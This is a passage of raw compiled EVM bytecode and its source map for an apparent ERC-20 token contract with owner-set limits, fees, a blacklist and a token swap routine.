158015611a0b5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a615750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611abb5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b505760025482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0e9190613435565b1115611b4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b46906134d7565b60405180910390fd5b5b60015482111580611baa5750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611bfe5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3490613543565b60405180910390fd5b611c4561219c565b15611c5357611c52612273565b5b611cdc826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116639092919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611dc25750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611dd657611dd18584866124ec565b611dd8565b825b9050611e2c81600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272f90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ecc919061293d565b60405180910390a360019150505b9392505050565b6000611f2383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611663565b905092915050565b808015611f6357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611f6d57611fc5565b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000612054826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116639092919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120e982600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272f90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612189919061293d565b60405180910390a3600190509392505050565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156122095750601260009054906101000a900460ff16155b80156122215750601060149054906101000a900460ff165b801561226e5750601154600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601260006101000a81548160ff02191690831515021790555060006011549050600080600267ffffffffffffffff8111156122b3576122b2613563565b5b6040519080825280602002602001820160405280156122e15781602001602082028036833780820191505090505b50905030816000815181106122f9576122f86131f9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110612368576123676131f9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b815260040161240695949392919061368b565b600060405180830381600087803b15801561242057600080fd5b505af1158015612434573d6000803e3d6000fd5b505050506000479050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161248390613716565b60006040518083038185875af1925050503d80600081146124c0576040519150601f19603f3d011682016040523d82523d6000602084013e6124c5565b606091505b505080935050505050506000601260006101000a81548160ff021916908315150217905550565b6000808314806124fd57506000600a145b1561250a57829050612728565b6000600a549050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156125715760095490506125ce565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156125cd5760085490505b5b60006126146064806125e09190613092565b612606846125f8600a8a61278d90919063ffffffff16565b61278d90919063ffffffff16565b61280890919063ffffffff16565b905061266881600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272f90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612708919061293d565b60405180910390a36127238186611ee190919063ffffffff16565b925050505b9392505050565b600080828461273e9190613435565b905083811015612783576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277a90613777565b60405180910390fd5b8091505092915050565b6000808314156127a05760009050612802565b600082846127ae9190613092565b90508284826127bd919061311b565b146127fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f490613809565b60405180910390fd5b809150505b92915050565b600061284a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612852565b905092915050565b60008083118290612899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289091906129f1565b60405180910390fd5b50600083856128a8919061311b565b9050809150509392505050565b600080fd5b600080fd5b60008115159050919050565b6128d4816128bf565b81146128df57600080fd5b50565b6000813590506128f1816128cb565b92915050565b60006020828403121561290d5761290c6128b5565b5b600061291b848285016128e2565b91505092915050565b6000819050919050565b61293781612924565b82525050565b6000602082019050612952600083018461292e565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612992578082015181840152602081019050612977565b838111156129a1576000848401525b50505050565b6000601f19601f8301169050919050565b60006129c382612958565b6129cd8185612963565b93506129dd818560208601612974565b6129e6816129a7565b840191505092915050565b60006020820190508181036000830152612a0b81846129b8565b905092915050565b612a1c81612924565b8114612a2757600080fd5b50565b600081359050612a3981612a13565b92915050565b600060208284031215612a5557612a546128b5565b5b6000612a6384828501612a2a565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a9782612a6c565b9050919050565b612aa781612a8c565b8114612ab257600080fd5b50565b600081359050612ac481612a9e565b92915050565b60008060408385031215612ae157612ae06128b5565b5b6000612aef85828601612ab5565b9250506020612b0085828601612a2a565b9150509250929050565b612b13816128bf565b82525050565b6000602082019050612b2e6000830184612b0a565b92915050565b600080600060608486031215612b4d57612b4c6128b5565b5b6000612b5b86828701612ab5565b9350506020612b6c86828701612ab5565b9250506040612b7d86828701612a2a565b9150509250925092565b600060208284031215612b9d57612b9c6128b5565b5b6000612bab84828501612ab5565b91505092915050565b600060ff82169050919050565b612bca81612bb4565b82525050565b6000602082019050612be56000830184612bc1565b92915050565b612bf481612a8c565b82525050565b6000602082019050612c0f6000830184612beb565b92915050565b600080600060608486031215612c2e57612c2d6128b5565b5b6000612c3c86828701612a2a565b9350506020612c4d86828701612a2a565b9250506040612c5e86828701612a2a565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112612c8d57612c8c612c68565b5b8235905067ffffffffffffffff811115612caa57612ca9612c6d565b5b602083019150836020820283011115612cc657612cc5612c72565b5b9250929050565b600080600060408486031215612ce657612ce56128b5565b5b600084013567ffffffffffffffff811115612d0457612d036128ba565b5b612d1086828701612c77565b93509350506020612d23868287016128e2565b9150509250925092565b60008060408385031215612d4457612d436128b5565b5b6000612d5285828601612ab5565b9250506020612d6385828601612ab5565b9150509250929050565b6000819050919050565b6000612d92612d8d612d8884612a6c565b612d6d565b612a6c565b9050919050565b6000612da482612d77565b9050919050565b6000612db682612d99565b9050919050565b612dc681612dab565b82525050565b6000602082019050612de16000830184612dbd565b92915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b6000612e1d600683612963565b9150612e2882612de7565b602082019050919050565b60006020820190508181036000830152612e4c81612e10565b9050919050565b7f43616e6e6f7420736574206d61782077616c6c6574206c657373207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000612eaf602483612963565b9150612eba82612e53565b604082019050919050565b60006020820190508181036000830152612ede81612ea2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612f6b57808604811115612f4757612f46612ee5565b5b6001851615612f565780820291505b8081029050612f6485612f14565b9450612f2b565b94509492505050565b600082612f845760019050613040565b81612f925760009050613040565b8160018114612fa85760028114612fb257612fe1565b6001915050613040565b60ff841115612fc457612fc3612ee5565b5b8360020a915084821115612fdb57612fda612ee5565b5b50613040565b5060208310610133831016604e8410600b84101617156130165782820a90508381111561301157613010612ee5565b5b613040565b6130238484846001612f21565b9250905081840481111561303a57613039612ee5565b5b81810290505b9392505050565b600061305282612924565b915061305d83612bb4565b925061308a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612f74565b905092915050565b600061309d82612924565b91506130a883612924565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130e1576130e0612ee5565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061312682612924565b915061313183612924565b925082613141576131406130ec565b5b828204905092915050565b60008151905061315b81612a13565b92915050565b600060208284031215613177576131766128b5565b5b60006131858482850161314c565b91505092915050565b60006040820190506131a36000830185612beb565b6131b0602083018461292e565b9392505050565b6000815190506131c6816128cb565b92915050565b6000602082840312156131e2576131e16128b5565b5b60006131f0848285016131b7565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061323382612924565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561326657613265612ee5565b5b600182019050919050565b7f43616e6e6f7420736574206d6178207472616e73616374696f6e206c6573732060008201527f7468616e20302e35250000000000000000000000000000000000000000000000602082015250565b60006132cd602983612963565b91506132d882613271565b604082019050919050565b600060208201905081810360008301526132fc816132c0565b9050919050565b600061330e82612924565b915061331983612924565b92508282101561332c5761332b612ee5565b5b828203905092915050565b7f426f75676874206265666f726520636f6e747261637420776173206c61756e6360008201527f6865640000000000000000000000000000000000000000000000000000000000602082015250565b6000613393602383612963565b915061339e82613337565b604082019050919050565b600060208201905081810360008301526133c281613386565b9050919050565b7f426c61636b6c6973746564000000000000000000000000000000000000000000600082015250565b60006133ff600b83612963565b915061340a826133c9565b602082019050919050565b6000602082019050818103600083015261342e816133f2565b9050919050565b600061344082612924565b915061344b83612924565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134805761347f612ee5565b5b828201905092915050565b7f6d61782077616c6c6574206c696d697420726561636865640000000000000000600082015250565b60006134c1601883612963565b91506134cc8261348b565b602082019050919050565b600060208201905081810360008301526134f0816134b4565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b600061352d601183612963565b9150613538826134f7565b602082019050919050565b6000602082019050818103600083015261355c81613520565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b60006135b76135b26135ad84613592565b612d6d565b612924565b9050919050565b6135c78161359c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61360281612a8c565b82525050565b600061361483836135f9565b60208301905092915050565b6000602082019050919050565b6000613638826135cd565b61364281856135d8565b935061364d836135e9565b8060005b8381101561367e5781516136658882613608565b975061367083613620565b925050600181019050613651565b5085935050505092915050565b600060a0820190506136a0600083018861292e565b6136ad60208301876135be565b81810360408301526136bf818661362d565b90506136ce6060830185612beb565b6136db608083018461292e565b9695505050505050565b600081905092915050565b50565b60006137006000836136e5565b915061370b826136f0565b600082019050919050565b6000613721826136f3565b9150819050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613761601b83612963565b915061376c8261372b565b602082019050919050565b6000602082019050818103600083015261379081613754565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006137f3602183612963565b91506137fe82613797565b604082019050919050565b60006020820190508181036000830152613822816137e6565b905091905056fea264697066735822122061b9d8cbcd4e15a37099adf986a59e5ca351a3bfacaf65412791a7e18f3c29c164736f6c634300080c0033

Deployed Bytecode Sourcemap

3334:9035:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9619:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4729:48;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3586:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11042:261;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5933:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4257:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3718:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11903:200;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4213:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6451:370;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10896:141;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2283:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4458:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3677:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4171:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4420:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6157:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11697:198;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4491:41;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4692:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3903:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2394:131;;;;;;;;;;;;;:::i;:::-;;12108:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3844:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3790:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5708:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4539:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9735:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3633:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4664:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6287:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11311:262;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5792:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11578:114;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4633:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4578:46;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10156:107;;;;;;;;;;;;;:::i;:::-;;9619:108;2234:19;2242:10;2234:7;:19::i;:::-;2226:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;9712:7:::1;9696:13;;:23;;;;;;;;;;;;;;;;;;9619:108:::0;:::o;4729:48::-;;;;:::o;3586:40::-;;;;;;;;;;;;;;;;;;;:::o;11042:261::-;2234:19;2242:10;2234:7;:19::i;:::-;2226:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;11178:1:::1;11151:23;:28;;11143:76;;;;;;;;;;;;:::i;:::-;;;;;;;;;11291:4;11263:23;3710:1;3769:2;:12;;;;:::i;:::-;3756:10;:25;;;;:::i;:::-;11249:37;;;;:::i;:::-;11248:47;;;;:::i;:::-;11230:15;:65;;;;11042:261:::0;:::o;5933:216::-;6008:4;6060:6;6025:11;:23;6037:10;6025:23;;;;;;;;;;;;;;;:32;6049:7;6025:32;;;;;;;;;;;;;;;:41;;;;6103:7;6082:37;;6091:10;6082:37;;;6112:6;6082:37;;;;;;:::i;:::-;;;;;;;;6137:4;6130:11;;5933:216;;;;:::o;4257:44::-;4298:3;4257:44;:::o;3718:63::-;3710:1;3769:2;:12;;;;:::i;:::-;3756:10;:25;;;;:::i;:::-;3718:63;:::o;11903:200::-;2234:19;2242:10;2234:7;:19::i;:::-;2226:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;11980:21:::1;12047:3;12023:21;12004:16;:40;;;;:::i;:::-;:46;;;;:::i;:::-;11980:70;;12063:10;12055:28;;:43;12084:13;12055:43;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;11975:128;11903:200:::0;:::o;4213:37::-;4248:2;4213:37;:::o;6451:370::-;6551:4;6606:17;6571:11;:19;6583:6;6571:19;;;;;;;;;;;;;;;:31;6591:10;6571:31;;;;;;;;;;;;;;;;:52;6568:186;;6673:69;6709:6;6673:69;;;;;;;;;;;;;;;;;:11;:19;6685:6;6673:19;;;;;;;;;;;;;;;:31;6693:10;6673:31;;;;;;;;;;;;;;;;:35;;:69;;;;;:::i;:::-;6639:11;:19;6651:6;6639:19;;;;;;;;;;;;;;;:31;6659:10;6639:31;;;;;;;;;;;;;;;:103;;;;6568:186;6773:40;6787:6;6795:9;6806:6;6773:13;:40::i;:::-;6766:47;;6451:370;;;;;:::o;10896:141::-;10949:7;10976:53;11013:9;:15;3535:42;11013:15;;;;;;;;;;;;;;;;10976:32;10992:9;:15;3462:42;10992:15;;;;;;;;;;;;;;;;3710:1;3769:2;:12;;;;:::i;:::-;3756:10;:25;;;;:::i;:::-;10976:15;;:32;;;;:::i;:::-;:36;;:53;;;;:::i;:::-;10969:60;;10896:141;:::o;2283:103::-;2338:4;2373:5;;;;;;;;;;;2362:16;;:7;:16;;;2355:23;;2283:103;;;:::o;4458:26::-;;;;;;;;;;;;;:::o;3677:34::-;3710:1;3677:34;:::o;4171:35::-;4204:2;4171:35;:::o;4420:29::-;;;;;;;;;;;;;:::o;6157:122::-;6212:4;6236:35;6244:7;6253:17;6236:7;:35::i;:::-;6229:42;;6157:122;;;:::o;11697:198::-;2234:19;2242:10;2234:7;:19::i;:::-;2226:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;11813:5:::1;11796:14;:22;;;;11845:4;11829:13;:20;;;;11881:6;11860:18;:27;;;;11697:198:::0;;;:::o;4491:41::-;;;;;;;;;;;;;;;;;:::o;4692:30::-;;;;;;;;;;;;;:::o;3903:45::-;;;;;;;;;;;;;;;;;:::o;2394:131::-;2234:19;2242:10;2234:7;:19::i;:::-;2226:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;2456:32:::1;2485:1;2456:32;;;;;;:::i;:::-;;;;;;;;2515:1;2499:5:::0;::::1;:18;;;;;;;;;;;;;;;;;;2394:131::o:0;12108:256::-;12199:12;2234:19;2242:10;2234:7;:19::i;:::-;2226:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;12231:1:::1;12221:6;:11;12218:81;;;12255:12;12248:30;;;12287:4;12248:45;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12239:54;;12218:81;12317:12;12310:29;;;12340:10;12352:6;12310:49;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12303:56;;12108:256:::0;;;;:::o;3844:50::-;;;;:::o;3790:47::-;;;;:::o;5708:78::-;5760:7;5778:5;;;;;;;;;;;5771:12;;5708:78;:::o;4539:32::-;;;;;;;;;;;;;:::o;9735:215::-;2234:19;2242:10;2234:7;:19::i;:::-;2226:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;9839:9:::1;9834:109;9856:9;;:16;;9852:1;:20;9834:109;;;9894:37;9911:9;;9921:1;9911:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;9924:6;9894:16;:37::i;:::-;9874:3;;;;:::i;:::-;;;9834:109;;;;9735:215:::0;;;:::o;3633:37::-;;;;;;;;;;;;;;;;;;;:::o;4664:19::-;;;;;;;;;;;;;:::o;6287:156::-;6367:4;6391:44;6405:10;6417:9;6428:6;6391:13;:44::i;:::-;6384:51;;6287:156;;;;:::o;11311:262::-;2234:19;2242:10;2234:7;:19::i;:::-;2226:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;11445:1:::1;11417:24;:29;;11409:82;;;;;;;;;;;;:::i;:::-;;;;;;;;;11561:4;11532:24;3710:1;3769:2;:12;;;;:::i;:::-;3756:10;:25;;;;:::i;:::-;11518:38;;;;:::i;:::-;11517:48;;;;:::i;:::-;11502:12;:63;;;;11311:262:::0;:::o;5792:133::-;5876:7;5894:11;:19;5906:6;5894:19;;;;;;;;;;;;;;;:28;5914:7;5894:28;;;;;;;;;;;;;;;;5887:35;;5792:133;;;;:::o;11578:114::-;2234:19;2242:10;2234:7;:19::i;:::-;2226:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;11672:12:::1;11655:14;;:29;;;;;;;;;;;;;;;;;;11578:114:::0;:::o;4633:24::-;;;;;;;;;;;;;:::o;4578:46::-;;;;;;;;;;;;;;;;;;;;;;:::o;10156:107::-;2234:19;2242:10;2234:7;:19::i;:::-;2226:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;10219:5:::1;10209:7;;:15;;;;;;;;;;;;;;;;;;10252:3;10235:14;:20;;;;10156:107::o:0;602:192::-;688:7;721:1;716;:6;;724:12;708:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;748:9;764:1;760;:5;;;;:::i;:::-;748:17;;785:1;778:8;;;602:192;;;;;:::o;6829:1549::-;6921:4;6941:6;;;;;;;;;;;6938:63;;;6957:41;6972:6;6980:9;6991:6;6957:14;:41::i;:::-;6950:48;;;;6938:63;7017:15;7025:6;7017:7;:15::i;:::-;7016:16;:39;;;;;7037:18;7045:9;7037:7;:18::i;:::-;7036:19;7016:39;:51;;;;;7060:7;;;;;;;;;;;7016:51;7013:451;;;7096:4;;;;;;;;;;;7086:14;;:6;:14;;;7083:208;;;7146:1;7123:8;:19;7132:9;7123:19;;;;;;;;;;;;;;;;:24;7120:105;;;7193:12;7171:8;:19;7180:9;7171:19;;;;;;;;;;;;;;;:34;;;;7120:105;7243:32;7260:9;7270:4;7243:16;:32::i;:::-;7083:208;7329:1;7310:8;:16;7319:6;7310:16;;;;;;;;;;;;;;;;:20;7307:146;;;7394:2;7379:12;:17;;;;:::i;:::-;7359:8;:16;7368:6;7359:16;;;;;;;;;;;;;;;;:38;7350:87;;;;;;;;;;;;:::i;:::-;;;;;;;;;7307:146;7013:451;7487:13;;;;;;;;;;;:25;;;;;7505:7;;;;;;;;;;;7504:8;7487:25;7484:105;;;7537:13;:21;7551:6;7537:21;;;;;;;;;;;;;;;;;;;;;;;;;7536:22;7528:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;7484:105;7606:15;7614:6;7606:7;:15::i;:::-;7605:16;:48;;;;;7626:19;:27;7646:6;7626:27;;;;;;;;;;;;;;;;;;;;;;;;;7625:28;7605:48;:83;;;;;7658:19;:30;7678:9;7658:30;;;;;;;;;;;;;;;;;;;;;;;;;7657:31;7605:83;:104;;;;;7705:4;;;;;;;;;;;7692:17;;:9;:17;;;;7605:104;7601:223;;;7769:15;;7758:6;7735:9;:20;7745:9;7735:20;;;;;;;;;;;;;;;;:29;;;;:::i;:::-;7734:50;;7726:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;7601:223;7855:12;;7845:6;:22;;7844:51;;;;7872:15;:23;7888:6;7872:23;;;;;;;;;;;;;;;;;;;;;;;;;7844:51;:81;;;;7899:15;:26;7915:9;7899:26;;;;;;;;;;;;;;;;;;;;;;;;;7844:81;7836:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;7963:16;:14;:16::i;:::-;7960:35;;;7982:10;:8;:10::i;:::-;7960:35;8027:53;8049:6;8027:53;;;;;;;;;;;;;;;;;:9;:17;8037:6;8027:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;8007:9;:17;8017:6;8007:17;;;;;;;;;;;;;;;:73;;;;8093:22;8119:11;:19;8131:6;8119:19;;;;;;;;;;;;;;;;;;;;;;;;;:45;;;;8142:11;:22;8154:9;8142:22;;;;;;;;;;;;;;;;;;;;;;;;;8119:45;8118:93;;8177:34;8185:6;8193;8201:9;8177:7;:34::i;:::-;8118:93;;;8168:6;8118:93;8093:118;;8247:40;8272:14;8247:9;:20;8257:9;8247:20;;;;;;;;;;;;;;;;:24;;:40;;;;:::i;:::-;8224:9;:20;8234:9;8224:20;;;;;;;;;;;;;;;:63;;;;8322:9;8305:43;;8314:6;8305:43;;;8333:14;8305:43;;;;;;:::i;:::-;;;;;;;;8366:4;8359:11;;;6829:1549;;;;;;:::o;460:136::-;518:7;545:43;549:1;552;545:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;538:50;;460:136;;;;:::o;9958:190::-;10035:7;:32;;;;;10062:4;10046:21;;:4;:21;;;10035:32;10032:69;;;10083:7;;10032:69;10133:7;10111:13;:19;10125:4;10111:19;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;9958:190;;;:::o;8390:330::-;8483:4;8520:53;8542:6;8520:53;;;;;;;;;;;;;;;;;:9;:17;8530:6;8520:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;8500:9;:17;8510:6;8500:17;;;;;;;;;;;;;;;:73;;;;8607:32;8632:6;8607:9;:20;8617:9;8607:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;8584:9;:20;8594:9;8584:20;;;;;;;;;;;;;;;:55;;;;8672:9;8655:35;;8664:6;8655:35;;;8683:6;8655:35;;;;;;:::i;:::-;;;;;;;;8708:4;8701:11;;8390:330;;;;;:::o;9414:197::-;9463:4;9501;;;;;;;;;;;9487:18;;:10;:18;;;;:38;;;;;9519:6;;;;;;;;;;;9518:7;9487:38;:62;;;;;9538:11;;;;;;;;;;;9487:62;:116;;;;;9590:13;;9562:9;:24;9580:4;9562:24;;;;;;;;;;;;;;;;:41;;9487:116;9480:123;;9414:197;:::o;10273:613::-;4833:4;4824:6;;:13;;;;;;;;;;;;;;;;;;10322:20:::1;10345:13;;10322:36;;10369:12;10394:21:::0;10432:1:::1;10418:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10394:40;;10463:4;10445;10450:1;10445:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10489:4;10479;10484:1;10479:7;;;;;;;;:::i;::